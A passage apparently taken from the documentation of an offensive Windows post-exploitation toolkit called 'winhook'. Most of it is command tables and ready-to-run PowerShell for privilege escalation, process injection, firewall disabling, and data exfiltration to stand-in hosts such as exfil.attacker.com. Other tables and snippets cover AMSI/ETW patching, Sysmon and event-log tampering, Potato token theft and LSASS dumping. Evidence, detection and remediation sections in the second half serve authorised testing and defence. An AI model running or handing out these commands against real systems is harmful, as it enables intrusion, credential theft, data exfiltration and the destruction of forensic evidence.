| WSL privesc | `winhook wsl_privesc --action enum` | Escape WSL to Windows host with elevated context |
| Scheduled task hijack | `winhook scheduled_task_hijack --action enum` | Hijack existing scheduled tasks with writable binaries |
| Server Operator abuse | `winhook server_operator_abuse --action enum` | Exploit Server Operators group (service config, driver load) |
| MSI abuse | `winhook msi_abuse --action enum` | MSI repair abuse, custom actions, installer hijacking |
| Backup Operator abuse | `winhook backup_operator_abuse --action enum` | Exploit Backup Operators group for SAM/NTDS extraction |
| AppLocker bypass | `winhook applocker_bypass --action enum` | 12+ AppLocker/WDAC bypass techniques |
| RID hijack | `winhook rid_hijack --action hijack --user lowpriv --rid 500` | Modify SAM F-value RID to 500 — user looks normal but has admin rights |
| RID enum | `winhook rid_hijack --action enum` | Enumerate local user RIDs and detect existing RID manipulation |

### Phase 10 — Local Reconnaissance

Understand the target environment before choosing attack and evasion strategies.

| Action | Command | Purpose |
|--------|---------|---------|
| Full recon | `winhook local_recon --action full` | Complete environment survey (AV/EDR, software, services, network, hotfixes) |
| AV/EDR detection | `winhook local_recon --action av` | Detect 26 AV/EDR products with evasion strategy recommendations |
| Software inventory | `winhook local_recon --action software` | Installed software, .NET versions, attack surface mapping |
| Service analysis | `winhook local_recon --action services` | Running services, vulnerable configs, SYSTEM services |
| Network survey | `winhook local_recon --action network` | Interfaces, connections, listening ports, DNS cache, SMB shares |
| Patch level | `winhook local_recon --action hotfixes` | Installed hotfixes, OS version, last update assessment |
| PS downgrade check | `winhook ps_downgrade --action check` | Check if PS 2.0 engine available for security bypass |
| PS downgrade exec | `winhook ps_downgrade --action execute --command CMD` | Execute via PS 2.0 (no AMSI/SBL/CLM) |
| Pipe enum | `winhook pipe_enum --action enum` | Enumerate named pipes with security-relevant pipe identification |
| Pipe ACL | `winhook pipe_enum --action acl` | Test pipe connectivity and impersonation potential |
| Pipe custom | `winhook pipe_enum --action custom` | Detect non-system named pipes (potential C2/implant indicators) |

### Phase 11 — Monitoring

Understand the target environment and detect defensive measures.

| Action | Command | Purpose |
|--------|---------|---------|
| Process monitoring | `winhook etw_process --duration 60` | Track process creation via ETW |
| Network monitoring | `winhook etw_network --duration 60` | Track connections via ETW |
| Screenshot (all) | `winhook screenshot_grab --action screen` | Capture all monitors for visual intelligence |
| Window capture | `winhook screenshot_grab --action window` | Capture active window only |
| Webcam snapshot | `winhook screenshot_grab --action webcam` | DirectShow webcam capture for proof of access |

### Phase 12 — Process Injection

Inject payloads into legitimate processes for AV/EDR evasion.

| Action | Command | Purpose |
|--------|---------|---------|
| Enum injectable | `winhook process_inject --action enum` | Enumerate injectable processes with high-value target recommendations |
| Process hollowing | `winhook process_inject --action hollow --target svchost.exe --payload PATH` | Spawn suspended → unmap → inject → resume |
| APC injection | `winhook process_inject --action apc --target explorer --payload PATH` | Queue shellcode to alertable thread |
| Thread hijacking | `winhook process_inject --action hijack --target PID --payload PATH` | Suspend thread → redirect RIP → resume |
| Early bird | `winhook process_inject --action earlybird --target svchost.exe --payload PATH` | Pre-init APC (runs before EDR hooks) |
| DLL injection | `winhook process_inject --action dll --target explorer --dll PATH` | CreateRemoteThread + LoadLibraryA |

### Phase 13 — Firewall Manipulation

Modify Windows Firewall to enable lateral movement and C2.

| Action | Command | Purpose |
|--------|---------|---------|
| Enum rules | `winhook firewall_manage --action enum` | List profiles, active rules, and custom rules |
| Disable profile | `winhook firewall_manage --action disable --profile all` | Disable firewall profile(s) |
| Allow port | `winhook firewall_manage --action allow --port 4444 --protocol tcp` | Create inbound/outbound allow rule |
| Port forward | `winhook firewall_manage --action forward --port 8080 --address 10.0.0.1` | netsh portproxy for pivoting |
| Restore firewall | `winhook firewall_manage --action restore` | Re-enable profiles, remove CS rules, clear port proxies |

### Phase 14 — Data Exfiltration

Stage and exfiltrate data through multiple channels.

| Action | Command | Purpose |
|--------|---------|---------|
| Discover sensitive | `winhook data_exfil --action discover --target C:\Users` | Find credentials, documents, databases, configs |
| Stage files | `winhook data_exfil --action stage --target C:\Users` | Compress sensitive files into staging archive |
| DNS exfil | `winhook data_exfil --action dns --target FILE --domain exfil.attacker.com` | Encode data in DNS subdomain queries |
| HTTPS exfil | `winhook data_exfil --action https --target FILE --url https://c2/upload` | POST data to C2 endpoint over TLS |
| SMB exfil | `winhook data_exfil --action smb --target FILE --share \\HOST\SHARE` | Copy to attacker SMB share |
| ICMP exfil | `winhook data_exfil --action icmp --target FILE --listener IP` | Tunnel data in ICMP echo payloads |

### Phase 15 — Anti-Forensics

Remove forensic evidence before cleanup.

| Action | Command | Purpose |
|--------|---------|---------|
| Full cleanup | `winhook anti_forensics --action full` | Run all anti-forensics actions |
| Timestamp stomp | `winhook anti_forensics --action stomp --target PATH --reference REF` | Modify file timestamps to match reference |
| Prefetch clear | `winhook anti_forensics --action prefetch` | Remove suspicious prefetch entries |
| Amcache clear | `winhook anti_forensics --action amcache` | Remove execution evidence from Amcache hive |
| USN journal | `winhook anti_forensics --action usn` | Delete and recreate USN change journal |
| ShimCache clear | `winhook anti_forensics --action shimcache` | Clear AppCompatCache entries |
| Recent docs | `winhook anti_forensics --action recent` | Clear jump lists, MRU, recent documents |
| Selective event delete | `winhook event_tamper --action selective --log Security --event-id 4624` | Remove specific events without clearing entire log (avoids 1102) |
| Disable log source | `winhook event_tamper --action disable-source --log PowerShell` | Disable specific event log source |
| Audit policy modify | `winhook event_tamper --action audit-policy` | Modify audit policies to stop generating evidence |
| Log resize/rollover | `winhook event_tamper --action resize --log Security` | Shrink log max size to force rollover of old entries |
| Disable Sysmon | `winhook event_tamper --action disable-sysmon` | Unload Sysmon driver and disable service |

### Phase 16 — Cleanup (MANDATORY)

Always run cleanup before exiting a target.

```
winhook cleanup_win
```

The cleanup tool clears Security, System, Application, and PowerShell event logs, removes temporary files, removes Defender exclusions, and reports on AMSI/ETW patches.

## Detection Considerations

Windows post-exploitation tools are detectable by:
- **Sysmon** — Event IDs 1 (process create), 10 (process access for LSASS), 13 (registry)
- **Windows Event Log** — Event ID 4688 (process creation), 4624/4625 (logon), 1102 (log cleared), 4662 (directory service access), 4768/4769 (Kerberos)
- **EDR** — LSASS access monitoring, credential prompt anomaly detection, suspicious PowerShell
- **PPL (Protected Process Light)** — LSASS PPL blocks direct memory dumps (use nanodump_advanced to bypass)
- **Credential Guard** — Isolates LSASS in virtualization-based security
- **LDAP Signing** — Prevents unsigned LDAP modifications (blocks KrbRelayUp)
- **Protected Users group** — Prevents NTLM, delegation, and credential caching
- **ADCS Hardening** — StrongCertificateBindingEnforcement=2 blocks ESC9/10

### Stealth Mode Detection & Bypass Matrix

| Stealth Mode | What It Bypasses | What Still Detects It | Recommendation |
|--------------|-----------------|----------------------|----------------|
| `base64` | Command-line string signatures, static YARA rules on args, basic PowerShell logging | Script Block Logging (Event 4104) decodes before logging, deep packet inspection, EDR behavioral analysis | Use when only command-line auditing is active (Event 4688) |
| `amsi` | AMSI content scanning, PowerShell content-based detection, Defender real-time script analysis | Script Block Logging if enabled before patch, ETW-based EDR (patch `etw_blind` first), AMSI patch detection (Event 1116) | Run `etw_blind` before `amsi` mode for full coverage |
| `obfuscate` | Static string matching, YARA signature rules, basic regex-based detection, command-line forensics | Script Block Logging (logs deobfuscated), ML-based detection (behavioral), Constrained Language Mode (blocks `IEX`) | Best against signature-based AV; combine with `amsi` for defense-in-depth |
| `--pwsh` | CLM policies targeting powershell.exe, EDR hooks on powershell.exe AMSI provider, PS5.1-specific detections | EDR hooking pwsh.exe separately, AppLocker/WDAC blocking pwsh.exe, pwsh.exe Script Block Logging | Use when target has PS7 installed and EDR only hooks powershell.exe |

**Optimal stealth chain:** `etw_blind` → `amsi_bypass` → `--stealth amsi --pwsh` on subsequent commands. This disables ETW telemetry, patches AMSI, then runs all payloads through the patched pwsh.exe with AMSI-bypass encoding as a fallback layer.

## Program Reference

| Program | Technique | MITRE ATT&CK |
|---------|-----------|---------------|
| lsass_dump | LSASS memory dump via MiniDumpWriteDump | T1003.001 — LSASS Memory |
| nanodump_advanced | EDR-bypass LSASS dump (snapshot/fork/seclogon) | T1003.001 — LSASS Memory |
| sam_dump | Registry hive extraction (SAM/SYSTEM/SECURITY) | T1003.002 — Security Account Manager |
| dpapi_extract | DPAPI secret decryption via CryptUnprotectData | T1555.003 — Credentials from Web Browsers |
| credential_prompt | Fake credential dialog via CredUI | T1056.002 — GUI Input Capture |
| keylog_win | Keystroke capture via SetWindowsHookEx | T1056.001 — Keylogging |
| etw_process | Process monitoring via ETW provider | T1057 — Process Discovery |
| etw_network | Network monitoring via ETW provider | T1049 — System Network Connections Discovery |
| clipboard_sniff | Clipboard monitoring via Win32 API | T1115 — Clipboard Data |
| amsi_bypass | AMSI patching in memory | T1562.001 — Disable or Modify Tools |
| etw_blind | ETW patching to blind EDR | T1562.006 — Indicator Blocking |
| defender_exclude | Windows Defender exclusion management | T1562.001 — Disable or Modify Tools |
| token_stomp | Remove security tool token privileges | T1562.001 — Disable or Modify Tools |
| cleanup_win | Event log clearing and artefact removal | T1070.001 — Clear Windows Event Logs |
| ad_enum | Active Directory enumeration (LDAP) | T1087.002 — Domain Account |
| bloodhound_collect | BloodHound data collection | T1087.002 — Domain Account |
| laps_dump | LAPS password extraction | T1555.005 — Password Managers |
| laps_v2_decrypt | Windows LAPS v2 encrypted password decryption | T1555.005 — Password Managers |
| gpo_enum | Group Policy enumeration | T1615 — Group Policy Discovery |
| ad_dns_enum | AD-integrated DNS enumeration | T1018 — Remote System Discovery |
| adws_recon | AD Web Services recon (port 9389) | T1018 — Remote System Discovery |
| cross_forest | Cross-forest trust analysis | T1482 — Domain Trust Discovery |
| kerberoast | Service ticket request for offline cracking | T1558.003 — Kerberoasting |
| asreproast | AS-REP hash extraction | T1558.004 — AS-REP Roasting |
| golden_ticket | TGT forgery with krbtgt hash | T1558.001 — Golden Ticket |
| silver_ticket | Service ticket forgery | T1558.002 — Silver Ticket |
| diamond_ticket | Modified legitimate TGT (stealthier than Golden) | T1558.001 — Golden Ticket |
| sapphire_ticket | S4U2self+U2U real PAC forgery (stealthiest) | T1558.001 — Golden Ticket |
| delegation_abuse | Kerberos delegation exploitation | T1550.003 — Pass the Ticket |
| overpass_hash | NTLM to Kerberos TGT conversion | T1550.002 — Pass the Hash |
| pass_the_ticket | Kerberos ticket export/import/inject | T1550.003 — Pass the Ticket |
| unpac_hash | Recover NT hash from PKINIT cert auth | T1649 — Steal or Forge Authentication Certificates |
| dcsync | Directory replication for credential extraction | T1003.006 — DCSync |
| dcshadow | Rogue DC registration for AD manipulation | T1207 — Rogue Domain Controller |
| skeleton_key | LSASS skeleton key injection | T1556.001 — Domain Controller Authentication |
| ad_acl_abuse | Active Directory ACL exploitation | T1222.001 — Windows File and Directory Permissions |
| adcs_abuse | AD Certificate Services exploitation (ESC1-8) | T1649 — Steal or Forge Authentication Certificates |
| adcs_esc_advanced | Advanced ADCS exploitation (ESC9-15) | T1649 — Steal or Forge Authentication Certificates |
| golden_cert | CA private key theft for certificate forgery | T1649 — Steal or Forge Authentication Certificates |
| pass_the_cert | LDAP/Kerberos auth via Schannel certificate | T1649 — Steal or Forge Authentication Certificates |
| shadow_creds | msDS-KeyCredentialLink manipulation | T1556.006 — Multi-Factor Authentication Interception |
| sid_history | SID History injection | T1134.005 — SID-History Injection |
| dns_admin_abuse | DnsAdmins group exploitation | T1574.001 — DLL Search Order Hijacking |
| adminsdholder | AdminSDHolder ACL backdoor | T1222.001 — Windows File and Directory Permissions |
| primary_group_abuse | Hidden group membership via primaryGroupID | T1078.002 — Domain Accounts |
| rbcd_chain | Full RBCD chain (machine account + S4U) | T1550.003 — Pass the Ticket |
| nopac | CVE-2021-42278/42287 sAMAccountName impersonation | T1558.001 — Golden Ticket |
| zerologon | CVE-2020-1472 Netlogon privilege escalation | T1210 — Exploitation of Remote Services |
| certifried | CVE-2022-26923 AD CS machine account escalation | T1649 — Steal or Forge Authentication Certificates |
| bad_successor | CVE-2025-53779 dMSA inheritance exploitation | T1078.002 — Domain Accounts |
| bronze_bit | CVE-2020-17049 S4U2proxy forwardable bypass | T1550.003 — Pass the Ticket |
| wmi_exec | Remote execution via WMI | T1047 — Windows Management Instrumentation |
| winrm_exec | Remote execution via WinRM | T1021.006 — Windows Remote Management |
| dcom_exec | Remote execution via DCOM | T1021.003 — Distributed Component Object Model |
| smb_exec | Remote execution via SMB services | T1021.002 — SMB/Windows Admin Shares |
| ntlm_coerce | NTLM authentication coercion | T1557.001 — LLMNR/NBT-NS Poisoning |
| coercer_full | Full NTLM coercion suite (12+ RPC methods) | T1557.001 — LLMNR/NBT-NS Poisoning |
| remote_monologue | DCOM-based NTLM coercion (no LSASS touch) | T1557.001 — LLMNR/NBT-NS Poisoning |
| krbrelayup | Local priv esc via Kerberos relay to LDAP | T1557.001 — LLMNR/NBT-NS Poisoning |
| mssql_abuse | MSSQL server exploitation | T1505.001 — SQL Stored Procedures |
| rdp_hijack | RDP session hijacking | T1563.002 — RDP Hijacking |
| schtask_persist | Scheduled task persistence | T1053.005 — Scheduled Task |
| service_persist | Windows service persistence | T1543.003 — Windows Service |
| registry_persist | Registry run key persistence | T1547.001 — Registry Run Keys |
| wmi_persist | WMI event subscription persistence | T1546.003 — WMI Event Subscription |
| com_hijack | COM object hijacking | T1546.015 — Component Object Model Hijacking |
| startup_persist | Startup folder/GPO script persistence | T1547.001 — Registry Run Keys |
| token_impersonate | Token impersonation/theft | T1134.001 — Token Impersonation/Theft |
| uac_bypass | UAC bypass techniques | T1548.002 — Bypass User Account Control |
| potato_attack | Potato privilege escalation variants | T1134.001 — Token Impersonation/Theft |
| printspooler_abuse | Print Spooler exploitation | T1068 — Exploitation for Privilege Escalation |
| ntds_dump | NTDS.dit database extraction | T1003.003 — NTDS |
| dpapi_domain | Domain DPAPI backup key extraction | T1555 — Credentials from Password Stores |
| cached_creds | Domain Cached Credentials extraction | T1003.005 — Cached Domain Credentials |
| mssql_creds | MSSQL credential enumeration | T1505.001 — SQL Stored Procedures |
| wifi_dump | WiFi profile/password extraction | T1555.005 — Password Managers |
| vault_dump | Windows Credential Vault extraction | T1555.004 — Windows Credential Manager |
| sccm_abuse | SCCM/MECM exploitation | T1072 — Software Deployment Tools |
| gpo_abuse | GPO modification for persistence | T1484.001 — Group Policy Modification |
| gmsa_dump | gMSA password extraction | T1555 — Credentials from Password Stores |
| unquoted_service_path | Unquoted service path exploitation | T1574.009 — Path Interception by Unquoted Path |
| weak_service_perms | Weak service DACL/binary permissions | T1574.010 — Services File Permissions Weakness |
| dll_hijack | DLL search order hijacking (10 known targets) | T1574.001 — DLL Search Order Hijacking |
| dll_sideload | DLL sideloading via trusted applications | T1574.002 — DLL Side-Loading |
| always_install_elevated | AlwaysInstallElevated MSI policy abuse | T1574.007 — Path Interception by PATH Environment Variable |
| stored_creds_abuse | Stored credential extraction (8 sources) | T1552.001 — Credentials In Files |
| privilege_abuse | Token privilege abuse (Se* privileges) | T1134 — Access Token Manipulation |
| named_pipe_privesc | Named pipe impersonation to SYSTEM | T1134.001 — Token Impersonation/Theft |
| byovd | Bring Your Own Vulnerable Driver | T1068 — Exploitation for Privilege Escalation |
| shadow_copy_abuse | VSS shadow copy credential access | T1003.003 — NTDS |
| wsl_privesc | WSL escape to Windows host | T1611 — Escape to Host |
| scheduled_task_hijack | Scheduled task binary hijacking | T1053.005 — Scheduled Task |
| server_operator_abuse | Server Operators group exploitation | T1078.002 — Domain Accounts |
| msi_abuse | MSI repair/installer hijacking | T1574.007 — Path Interception by PATH Environment Variable |
| backup_operator_abuse | Backup Operators group exploitation | T1078.002 — Domain Accounts |
| applocker_bypass | AppLocker/WDAC bypass techniques | T1218 — System Binary Proxy Execution |
| stealth_check | Verify stealth encoding modes on target | T1027 — Obfuscated Files or Information |
| local_recon | Local environment and AV/EDR product detection | T1082 — System Information Discovery |
| ps_downgrade | PowerShell 2.0 downgrade attack | T1059.001 — PowerShell |
| process_inject | Process injection (hollowing, APC, hijack, early bird, DLL) | T1055 — Process Injection |
| firewall_manage | Windows Firewall manipulation and port forwarding | T1562.004 — Disable or Modify System Firewall |
| data_exfil | Multi-channel data exfiltration (DNS, HTTPS, SMB, ICMP) | T1048 — Exfiltration Over Alternative Protocol |
| anti_forensics | Anti-forensics (timestamp stomp, prefetch, amcache, USN, shimcache) | T1070 — Indicator Removal |
| share_hunt | Network share hunting and sensitive file discovery | T1135 — Network Share Discovery |
| screenshot_grab | Screen, window, and webcam capture | T1113 — Screen Capture |
| reg_secrets | Registry credential extraction (AutoLogon, VNC, PuTTY, WinSCP, RDP, services) | T1552.002 — Credentials in Registry |
| browser_harvest | Browser password, cookie, history extraction (Chrome/Edge/Firefox/Brave) | T1555.003 — Credentials from Web Browsers |
| cert_steal | Certificate store enumeration and PFX export with private keys | T1649 — Steal or Forge Authentication Certificates |
| event_tamper | Selective event log tampering, Sysmon disable, audit policy modification | T1070.001 — Clear Windows Event Logs |
| proxy_pivot | Network pivoting (SOCKS proxy, reverse forward, SSH tunnel, portproxy) | T1090 — Proxy |
| wdigest_enable | WDigest plaintext credential caching control (UseLogonCredential) | T1556 — Modify Authentication Process |
| password_spray | Domain password spraying with lockout awareness | T1110.003 — Password Spraying |
| ntlm_relay | SMB1 Negotiate signing probe + NTLMv2 hash capture (NTLMSSP Type3 parse, hashcat 5600) | T1557.001 — LLMNR/NBT-NS Poisoning |
| responder_poison | LLMNR poisoner (DNS-format response, question echo) + NBT-NS passive monitoring | T1557.001 — LLMNR/NBT-NS Poisoning |
| azure_ad_hybrid | Azure AD hybrid attacks (PRT theft, AAD Connect, Seamless SSO key) | T1528 — Steal Application Access Token |
| adidns_poison | AD-integrated DNS record injection via LDAP (MS-DNSP compliant DNS_RPC_RECORD) | T1584.002 — DNS Server |
| machine_account | Machine account create/delete via MachineAccountQuota abuse | T1136.002 — Domain Account |
| bitlocker_keys | BitLocker recovery key extraction (local, AD, remote) | T1486 — Data Encrypted for Impact |
| win_hello_dump | Windows Hello NGC key extraction and PIN policy analysis | T1556 — Modify Authentication Process |
| exchange_abuse | Exchange Server exploitation (GAL, mailbox, transport rules, privesc) | T1114 — Email Collection |
| ppl_bypass | PPL bypass — RunAsPPL check, Credential Guard detection, vulnerable driver guidance | T1574.010 — Services File Permissions Weakness |
| bits_persist | BITS transfer job persistence with NotifyCmdLine and upload exfil | T1197 — BITS Jobs |
| wsus_abuse | WSUS exploitation — HTTP MITM assessment, SharpWSUS injection workflow | T1072 — Software Deployment Tools |
| golden_gmsa | KDS root key extraction for offline gMSA password computation | T1555 — Credentials from Password Stores |
| silver_saml | ADFS token-signing cert extraction and SAML token forgery | T1606.002 — SAML Tokens |
| rdp_shadow | Active RDP session shadowing (view/control, consent/no-consent) | T1563.002 — RDP Hijacking |
| print_monitor_persist | Print/port monitor DLL persistence via Spooler service (SYSTEM) | T1547.010 — Port Monitors |
| clm_bypass | CLM escape via MSBuild/runspace/InstallUtil/XSLT/Add-Type (5 methods) | T1059.001 — PowerShell |
| ssp_persist | SSP enumeration, AddSecurityPackage install, registry persistence for credential capture | T1547.005 — Security Support Provider |
| password_filter | Notification Packages enumeration and password filter DLL registration | T1556.002 — Password Filter DLL |
| dsrm_abuse | DSRM local admin abuse on DCs — DsrmAdminLogonBehavior check/set, password sync | T1003.003 — NTDS |
| ntlmv1_downgrade | LmCompatibilityLevel check/downgrade/restore for NTLMv1 hash cracking | T1550.002 — Pass the Hash |
| accessibility_backdoor | Accessibility binary replacement (sethc/utilman/narrator/osk/magnify) with IFEO fallback | T1546.008 — Accessibility Features |
| ifeo_persist | IFEO debugger and SilentProcessExit persistence — process redirection/exit monitoring | T1546.012 — Image File Execution Options Injection |
| rid_hijack | SAM F-value RID manipulation for hidden administrator access | T1078.002 — Domain Accounts |
| winlogon_persist | Winlogon Shell/Userinit/Notify registry persistence (SYSTEM at logon) | T1547.004 — Winlogon Helper DLL |
| appinit_dll | AppInit_DLLs mass DLL injection into all User32.dll processes | T1546.010 — AppInit DLLs |
| netsh_helper | Netsh helper DLL persistence (loads on netsh.exe invocation) | T1546.007 — Netsh Helper DLL |
| time_provider | W32Time service DLL provider persistence (SYSTEM, rarely audited) | T1547.003 — Time Providers |
| screensaver_persist | Screensaver SCRNSAVE.EXE idle-trigger persistence (no admin, HKCU) | T1546.002 — Screensaver |
---

## Evidence Standard

Every claim in a Windows post-exploitation report must be reproducible from the same starting access.
Windows has several distinct privilege boundaries — local user, local administrator, `SeDebugPrivilege`,
SYSTEM, and domain tier — and a report that conflates them overstates impact.

| Item | Command | Why |
|---|---|---|
| Foothold identity | `whoami`; `whoami /groups`; `whoami /priv` | the starting level and the token privileges that gate every escalation |
| Elevation state | `net session` (admin) versus `Access is denied` (unelevated) | distinguishes administrator from elevated administrator |
| Domain and tier | `echo %USERDOMAIN%`; `net user %USERNAME% /domain` | decides whether domain or local findings apply |
| Privilege artefacts | `whoami /priv`; `whoami /groups` | `SeDebugPrivilege`, `SeImpersonatePrivilege`, `SeBackupPrivilege` are the escalation primitives |
| Escalation proof | `whoami` / `whoami /priv` before and after, plus the exploiting command | the command that crossed the boundary |
| Credential evidence | the technique, the target, and a **redacted** hash prefix — never the full hash | proves reach without exfiltrating material |
| AV/EDR state | `Get-MpComputerStatus`; `Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct` | decides whether the technique was tested against live protection |
| Persistence artefacts | `reg query` on the Run key, `schtasks /query`, `Get-Service` for new services | the mechanism is the finding |
| AD scope | `net group "Domain Admins" /domain`; `nltest /dclist:%USERDOMAIN%` | turns a host finding into a domain-scope statement |
| Log integrity | `wevtutil gl Security`; `Get-WinEvent -ListLog * -MaxEvents 1` | proves the log was intact when the evidence was collected |

### Verify the foothold and the boundary that matters

```powershell
whoami; whoami /groups; whoami /priv
```

```powershell
net session                                              # elevated admin succeeds; unelevated fails
Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled, AntivirusEnabled
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object displayName
```

```powershell
# Domain tier — is the compromised context a domain identity or local only?
echo $env:USERDOMAIN; echo $env:USERNAME
net group "Domain Admins" /domain 2>$null | Select-Object -First 20
```

### Prove the escalation and the credential access, separately

```powershell
# SeImpersonatePrivilege / SeDebugPrivilege are the primitives; prove which you hold
whoami /priv | Select-String 'SeImpersonatePrivilege|SeDebugPrivilege|SeBackupPrivilege|SeTakeOwnershipPrivilege'
```

```powershell
# Credential evidence: state the technique and the target, redact the material
reg query HKLM\SAM /s 2>$null | Select-Object -First 1     # hive reach — the artefact
# For any harvested hash, report only: algorithm, first 6 chars, user, host, timestamp.
```

**The `whoami /priv` output paired with the escalation and the resulting token is the finding.**
"A service was configured with a privileged account" is an observation; "the `WebSvc` service account
held `SeImpersonatePrivilege`, so the standard potato technique yielded a SYSTEM token — the
resulting `whoami /priv` shows `NT AUTHORITY\SYSTEM` with `SeDebugPrivilege` enabled, changing
`whoami` from `CORP\svc-web` to `nt authority\system`" is a finding.

**False positives — exclude each of these explicitly:**

- **Local administrator reported as SYSTEM or as domain admin.** They are different boundaries;
  prove the token, not the group membership.
- **An unelevated administrator session reported as administrative access.** With UAC, membership
  alone grants nothing until elevated. `net session` distinguishes the two.
- **`SeDebugPrivilege` present but not enabled, or blocked by a protected process.** LSASS is
  PPL-protected on modern builds; holding the privilege does not mean the dump succeeds. Test it.
- **A hash or ticket reported without proving it is usable.** A recovered hash that fails to
  authenticate is not access — validate it or label it PLAUSIBLE.
- **A scheduled task or Run key that was written but never executed.** Persistence is unproven until
  the trigger actually fires; record the firing event.
- **A domain-scope claim from a local-only finding.** A local escalation on a non-domain host proves
  nothing about the domain.
- **A technique that only works with Defender disabled, reported as an enterprise-reachable path.**
  State the protection state the test was performed under.

Record a reproduced SYSTEM token or a validated credential as SOLID. Record a version-matched CVE
candidate as PLAUSIBLE until exploited. Record a technique that failed under live EDR as OVERSTATED
if it was claimed as reach.

### Detection and log integrity

| Source | What it records |
|---|---|
| Sysmon | Event 1 (process create), 10 (process access — LSASS), 13 (registry) |
| Windows Event Log | 4688 process creation, 4624/4625 logon, 1102 log cleared, 4662/4768/4769 directory and Kerberos |
| EDR | LSASS access, credential-prompt anomalies, suspicious PowerShell and injection |
| PPL / Credential Guard | isolates LSASS, converting dumps into failures the report must record |
| LDAP signing and channel binding | blocks unsigned LDAP modification used by relay-based escalation |
| ADCS hardening | `StrongCertificateBindingEnforcement=2` neutralises the ESC family |

---

## Remediation Reference

1. **Remove unnecessary token privileges from service accounts.** `SeImpersonatePrivilege` on a
   service account is a SYSTEM escalation by itself. Audit effective privileges per service identity
   and remove `SeImpersonate`, `SeAssignPrimaryToken`, `SeBackup`, `SeRestore`, and
   `SeTakeOwnership` wherever the workload does not require them. Prefer virtual accounts or gMSAs
   over shared service-account passwords, and never use domain administrator credentials for a
   service.
2. **Enforce LSA protection and Credential Guard.** Run LSASS as a protected process
   (`RunAsPPL=1`), enable Credential Guard, and disable WDigest. These convert the credential-dump
   techniques in this file from working to failing, and they must be applied fleet-wide to be
   meaningful — a single unprotected host is the path back in.
3. **Rotate every credential the escalation touched, and do it on a tier-appropriate scope.** Assume
   any hash, ticket, or plaintext observed is compromised. Reset the passwords of the accounts whose
   material was recovered, reset the KRBTGT password **twice** if a domain-controller or Golden
   Ticket path was reached, and revoke certificates issued from a compromised CA. Local
   administrator rotation alone does not remediate a domain finding.
4. **Harden authentication and delegation.** Disable NTLM where it is not required, enforce LDAP
   signing and channel binding, add privileged accounts to the Protected Users group, remove
   unconstrained delegation, and require SMB signing. These controls block the relay, coercion, and
   delegation paths that dominate Active Directory post-exploitation, and they are configuration
   changes rather than compensating detective measures.
5. **Reduce lateral surface.** Patch the specific RCE paths (PrintNightmare, PetitPotam-class
   coercion, and the ProxyLogon/ProxyShell Exchange chain) and enable the Windows Firewall on all
   profiles with inbound SMB and WinRM restricted to management networks. Alert on service creation,
   scheduled-task creation, and remote `WMI`/`PsExec` activity outside change windows.
6. **Harden ADCS.** Enforce `StrongCertificateBindingEnforcement=2`, remove
   `ENROLLEE_SUPPLIES_SUBJECT`, disable the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT on templates that do
   not require it, and restrict enrolment rights on every template — this closes the ESC family
   wholesale.
7. **Centralise and protect event logs.** Forward Security, System, and PowerShell logs to a remote
   collector the target cannot reach, using Windows Event Forwarding or an agent with a write-only
   credential. Alert on Event 1102 (log cleared), on Sysmon being disabled, and on AMSI/ETW patch
   behaviour. A log an administrator can clear is not evidence of anything.
8. **Baseline and monitor the high-signal registry and file locations.** Alert on writes to
   `Run`/`RunOnce`, `Services`, `Winlogon` (including `AppInit_DLLs`), `Image File Execution
   Options`, `Time Providers`, and `Netsh` helper DLL registration, plus new files in `Startup` and
   new services on domain controllers and jump hosts.
9. **Enforce least privilege for administration.** Operate a tiered model: administrators use
   dedicated accounts and workstations, and no privileged credential is ever exposed on a
   workstation that reads email or the web. Enforce LAPS for local administrator passwords and
   alert on membership changes to privileged groups.

---

---

---

## 7. CONFIRMING THE FINDING

| Step | Question | What it proves |
|---|---|---|
| 1 | What **identity** do you hold, and from the host's own view (`whoami /all`, `whoami`, a token dump)? | the starting privilege and its groups |
| 2 | Did you **cross the boundary** - SYSTEM/root, or another user's session? | escalation, not a read you already had |
| 3 | Was there a **failing control** - the same read or action denied before the escalation? | the escalation is the cause |
| 4 | Did you **read or write something only the new privilege reaches** (a hive, an LSASS handle, a protected path)? | impact |
| 5 | For persistence: did the artefact **execute**, proven by a marker or a log line? | installation is not execution |
| 6 | Did you obtain a **credential usable elsewhere** (a domain credential, a key, a token)? | lateral-movement value |
| 7 | Is the mechanism **removable**, and did you remove it with a verified query? | engagement integrity |

**The boundary crossed plus the artefact read is the bar.** A SYSTEM shell that cannot read another
user's secrets is a partial escalation, and it must be reported as one.

---

## 8. EXECUTION PRIMITIVES

Windows post-exploitation is proven by **crossing a named boundary and reading what it guards**. Every
block ends at data, a credential, or a verified revert.

### 8.1 Identity, groups, privileges, and the control

```powershell
whoami /all
whoami /priv
whoami /groups | findstr /i "admin domain"
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Domain"
# the token's integrity level, which is the boundary you are operating at
whoami /groups | findstr /i "Mandatory Label"
# THE CONTROL: the reads that must FAIL at your current integrity level
type C:\Windows\System32\config\SAM     2>&1 | Select-Object -First 1
reg save HKLM\SAM C:\tmp\sam.hiv 2>&1 | Select-Object -First 1
```

**Record the failing control first.** Every later claim is a delta against it, and on Windows the
difference between a medium-integrity process and SYSTEM is the difference between no finding and a
finding.

### 8.2 Token theft and impersonation, with the control pair

```powershell
# enumerate the tokens on the box, and which are SYSTEM
.\SeDebugPrivilegeCheck.exe 2>$null
# the modern path: steal a SYSTEM token from a process you can open after enabling SeDebug
.\PrintSpoofer64.exe -i -c "cmd /c whoami" 2>&1 | Select-Object -Last 3
.\GodPotato.exe -cmd "cmd /c whoami" 2>&1 | Select-Object -Last 3
# and the same via a named pipe, when the account has SeImpersonate
.\SharpEfsPotato.exe -p C:\Windows\System32\cmd.exe -a "/c whoami" 2>&1 | Select-Object -Last 3
# the check that this was an escalation and not your starting point
whoami                                        # before
# ... run the exploit ...
whoami                                        # after - must read the new identity
```

**Pair `whoami` before and after.** A Potato exploit that prints output but leaves you at the same
identity has not escalated, and the before/after pair is the entire evidence.

### 8.3 Credential extraction, with the boundary named

```powershell
# LSASS memory, which requires SeDebug or SYSTEM - the boundary is the point
.\procdump64.exe -accepteula -ma lsass.exe C:\tmp\lsass.dmp 2>&1 | Select-Object -Last 2
# and the offline parse, which yields the artefacts
